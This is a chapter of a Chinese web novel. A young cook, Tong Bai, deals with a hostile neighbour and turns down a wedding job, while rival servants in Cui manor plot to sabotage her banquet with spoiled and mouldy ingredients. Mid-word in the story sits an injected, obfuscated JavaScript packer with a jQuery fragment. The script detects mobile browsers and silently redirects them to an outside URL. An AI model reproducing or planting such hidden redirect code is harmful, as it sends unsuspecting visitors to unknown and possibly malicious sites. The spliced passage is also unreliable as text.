陈家院门内,陈大河僵立原地,耳中嗡嗡作响。卢娘子尖厉的谩骂声穿透木板,字字如针,扎的他的太阳穴突突直跳。
他紧攥拳头,指关节咔咔作响,暴戾之气在胸腔中迅速积攒、翻涌,想要破门而出的情绪占据着他的思维,恨不得此刻将门外碎嘴的妇爆锤、撕个粉碎。
可,他终究未动。
粗重的鼻息喷在寒冷的空气中,凝成白雾,又迅速消散。他缓缓松开拳,嘴角扯出一抹阴冷的笑,转身悄退入院中阴影处。
角落里,两抹瘦小身影正瑟缩着给菜地翻土,是陈小花和她弟弟陈小草。听到脚步声,她们吓得浑身一颤,手上的动作越发快速,头垂的更低,几乎要埋进土里。
陈大河目光阴沉地掠过姐弟俩,站定。
此刻院外,卢婶子又开启了新一轮谩骂,陈大河咬了咬后槽牙,冷哼一声,进了主屋。
陈大河坐在往日彪形大汉常坐的椅子上,翘着个二郎腿,翘起二郎腿,脚尖不耐烦地点着地。
“陈小花,”他扬声喊道,语气里带着不容置疑的威压,“烧壶热水来。”
“欸,四叔。”女孩怯怯应声,拉着弟弟飞快地跑向灶屋。
院外,卢娘子的骂声渐歇,童家院门吱呀一声关上,巷子里重归寂静,只余寒风掠过枯枝的细微声响。
童家院内。
卢娘子仍是余怒未消,拍着胸口顺气道:“弟妹,你们可得多留个心眼!对门那家,邪性得很!”
她压低声,身子往前倾了倾:“当初童校尉托我家那口子找房子时,陈家夫妇还在,虽不富裕,但也算和睦。谁知你们搬来前没多久,竟双双暴毙在了屋里!要不是第二日邻居听见小花、小草哭得凄惨,怕是都没人发现……”
白氏闻言,脸色一白,下意识抱紧怀中的四郎。
童白心中也是一凛,面上却不动声色,顺着话问:“竟有这种事?那会儿兵荒马乱的,外面是不太平。我们刚搬出来自立门户,许多事都不懂,多亏婶子提醒。”
“可不是嘛!”卢娘子叹口气,“陈家夫妇是县郊陈家村的,凭着一手做豆腐的手艺在长安立足,好不容易熬过了前朝那些苦日子,谁曾想……唉,真是造化弄人。后来他们乡下的亲戚,就这个陈大河搬了进来照看孩子,可你看他那样子,哪像是好好过日子的?我听说,时常打骂那两个孩子……”
童白默默听着,将这些信息一一记在心里。她见卢娘子情绪稍平,才温声将话题引回:“婶子今日过来,可是有什么要紧事?”
卢娘子这才恍然,一拍额头:“瞧我这记性,光顾着生气了!”她脸上绽出笑容,声音也轻快起来,“我是特来道谢的!”
说着从袖袋里掏出个小物事,摊在手心。那是一颗圆润可爱的银豆子,小巧精致,透着柔和的光泽。
“快拿着,”她不由分说塞到童白手里,“别嫌这豆子小,这是我娘家兄长请人为老母寿辰特制的‘福禄豆’,寓意好着呢!万没有将福气挡在外头的道理!”
童白下意识地看向白氏,见她微微颔首,便不再推辞,指尖触及那微凉的银豆,心下对卢家的家底又多了分估量。
这并非寻常人家能随手送出的谢礼。
卢娘子见她收下,笑容更盛:“那黄金蒸饼,可是在我娘家宴席上出了大风头!家母和嫂子都说,从未尝过这般滋味的蒸饼,真是开了眼!”
她眉眼间带着几分得意:“席上还有我兄长同僚的家眷,也对这蒸饼赞不绝口。宴席散后,一位书吏家的娘子还特意寻到我嫂子打听,问是从哪家铺子买来的。”
童白的心提了一下,目光灼灼地看向卢娘子。
卢娘子冲她眨眨眼,带着几分狡黠:“你婶子我可不敢忘形,只说是自家买了上好食材,央求手巧的邻居帮忙做的,并不在外售卖。”这话既全了之前的约定,又抬高了童白的手艺,听得童白心下微暖。
“那娘子听了,沉吟片刻,只说若日后有所求,再来寻我。”卢娘子语气里透出些许惋惜。她深知童家境况,这本是极好的机会,偏偏……
她忽又想起什么,脸上惋惜之色稍褪,转为一种热切:“不过呢,除了这位,我娘家嫂子也向我打听你了。”
童白和白氏都望向她。
“她倒不是想买蒸饼,”卢娘子压低了声音,“是她娘家侄儿半月后娶新妇,想寻个手艺好、价钱又公道的厨子去操持喜席。她尝了那蒸饼,便动了心思,托我问询一声。”
“喜席?”童白怔住了。这确是个更稳定、更能见收益的活计,若能接下,家中窘境或能大大缓解。一瞬间,她对食材、菜单的构想几乎要脱口而出。
然而,这念头只是一闪,便被沉重的现实压了下去。她眼前闪过崔荣那张倨傲的脸,文奶娘可能布下的陷阱,以及对门陈家那双窥伺的眼。
她深吸一口气,压下心底那点微弱的渴望,脸上露出一个混合着感激与歉然的苦笑:“卢婶子,您和嫂子抬爱,我本不该推辞。只是……”
她顿了顿,声音里带上一丝不易察觉的艰涩:“三日后,我便需得进延寿坊崔府,为府上一位得脸的嬷嬷操持生辰宴。这几日光是准备那宴席的菜式点心,已是分身乏术,实在不敢再接旁的活计,万一出了差池,反倒辜负了婶子的信任和您娘家嫂子的期待。”
童白语气恳切,又将缘由引到崔府事务上,既婉拒了眼前的机会,也未完全断了日后往来的路子。
卢娘子原本因她拒绝而升起的不满悄然褪去,上前一步,拉住童白的胳膊亲昵地拍了拍,“既如此,你先忙活着延寿坊那边的事情。喜席的事,我回头再与我嫂子说说,等你这头忙完了,若还有机会,再说不迟。”她不是个不知事的,换做是她,也会如此这般处理。
童白闻言,感激地回握住卢婶子的手,“谢婶子体谅。”
几人又说了几句闲话,童白送卢娘子出门。关院门时,她视线飞快扫过陈家院门,并未感受到有人在门后窥视。
童家院子安静下来,一家人换回麻衣,童白从灶膛里挑出个大小合适的木炭条,用麻布裹住,找出二郎在崔府时练字时用的平整石板,在上面写写画画起来。
二郎和三娘好奇地凑上前,二郎只认得几个字,看得似懂非懂;三娘根本不识字,很快便跑开了。
白氏抱着四郎,远远望着女儿专注的侧脸,心中五味杂陈。
日头渐渐偏西,延寿坊崔府内一座僻静的下人院子里,一株粉色的腊梅正在寒风中绽开。东厢房里,玉娘站在一名妇人身后,正轻轻地给她捶背捏肩。
这里正是文奶娘的居所,她虽为仆从,但身为崔家夫人的奶娘,又在府中经营多年。地位自是与普通仆从不一样,她独自住在宽敞的东厢房内。
玉娘揉捏着姨母的肩背,声音不高不低,“姨母,您是不知道,今日那童家母子三人进府来了,穿了新做的棉布衣裳,人模狗样的,前院的陈旺还躬身在前领着她们进的府,见到我时,那态度,就好像她们是什么了不起的人物似得。”
文奶娘闻言,眉眼都没带抬一下,“急什么急!不过是那秋后的蚂蚱,蹦跶不了几日了。”
玉娘不满地嘟着唇,语气撒娇:“姨
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16303049|178855||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
母~”
文奶娘微张双眼,朝身侧的玉娘斜睨了一眼,“你忘了我教过你的,做人做事,切记不要心焦气躁,她们现在蹦跶的越欢越高,后续摔下来的时候才会越痛越难看。”
“还有,在这府里做事,尤其是对付那些碍眼的人,要么不做,要么就做绝,绝不能给人留下反咬一口的机会。光是让她做砸宴席,挨几句骂、扣些工钱,有什么意思?那岂不便宜了她?”
玉娘闻言,眼睛一亮,按摩的动作一顿,凑上前:“姨母可是已有万全之策?”
文奶娘脸上露出一丝莫测高深的冷笑,压低声音:“后厨采买的管事,跟我颇有渊源。那日,他会送一批‘特别’的食材进去。”
“特别?”玉娘疑惑。
“嗯,”文奶娘的眼中闪过一丝狠厉,“肉将会专门挑那种看起来不碍事,实则不新鲜、腥气已入肌理的;鱼也会选择看似活蹦乱跳,实则肉质柴腥的准备,还有那做面食的食材……”她顿了顿,语气更冷,“会掺上一些陈年发霉麦麸,多磨几遍,细细的,任她如何都瞧不出来,但这样的面做了吃食,会有一股子说不出来的霉涩味。”
玉娘听得兴奋,“这样,若是她做出来的餐食味道不对……”
“不是若是,”文奶娘打断她,斩钉截铁道:“是必定不对!夫人嘴挑,对食物的新鲜度惯来要求严格,虽然这生辰宴夫人不会参加,但我会想办法送些童小娘子做的餐食到夫人面前,而夫人看在我生辰的份上,必然会给个面子尝上一口,到时候……”嘴角衔着一抹冷笑,“加上这次我还会邀请府上其他各房的有头有脸的嬷嬷娘子们前来吃席,菜肴有异味,你说这事,岂是能轻易遮过去的?”
“再有,等她做菜的时候,灶火时旺时弱,她需要的高汤,怼了水;厨房的帮厨只会是笨手笨脚的,或者听不见她吩咐的小丫头。”文奶娘眼中的寒意仿佛要凝成冰刀,:“她自进厨房后第一步开始,处处掣肘、步步是坑,纵然她真有些本事,在这样的情况之下,也绝无可能做出像样的席面。”
玉娘脸上终于露出畅快的笑容,“还是姨母想的周到!等她搞砸了宴席,惹得夫人大怒,咱们再站出来指出她欺世盗名,辜负了夫人和十九爷的信任,到时候我倒要看看她还有何脸面在这长安城立足。”
“不止如此,”文奶娘微眯着眼,“她不是想要靠着手艺攀高枝吗?我就让她在手艺上栽跟头!事后,我会向夫人进言,此等品行不堪、手艺低劣之人,竟敢蒙骗主子,当严惩以儆效尤。就算十九爷那边不好直接重罚,也能让她从此再不敢踏足庖厨之行,绝了她这点可怜的指望。”
文奶娘的脸庞显得格外阴沉。她轻轻摩挲着腕上一只成色普通的银镯,那是她伺候夫人多年得来的赏赐之一,也象征着她在这深宅大院中积累的、不容小觑的能量。
“玉娘,你要记住,”她缓缓道,“打蛇要打七寸。对付这种人,就要让她在最得意的地方摔得最狠,永远翻不了身。”
玉娘重重地点点头,眼中闪烁着快意和期待的光芒:“姨母放心,我晓得了。宴席那日,我定会早早过去,‘好好’地看着她是如何一步步把自己推进火坑的!”
姨甥俩相视而笑,空气中弥漫着阴谋即将得逞的寒意。
而在双梧巷的童家,童白依然对着石板写写画画,眉头紧锁,她对即将发生的阴谋也并不是完全没有设想,石板上列明的全是她所想到的可能会发生的意外。
这会儿,她在逐一思考破局的办法。
她知道,踏入崔府厨房的那一刻,一场没有硝烟的战场就已经开始了。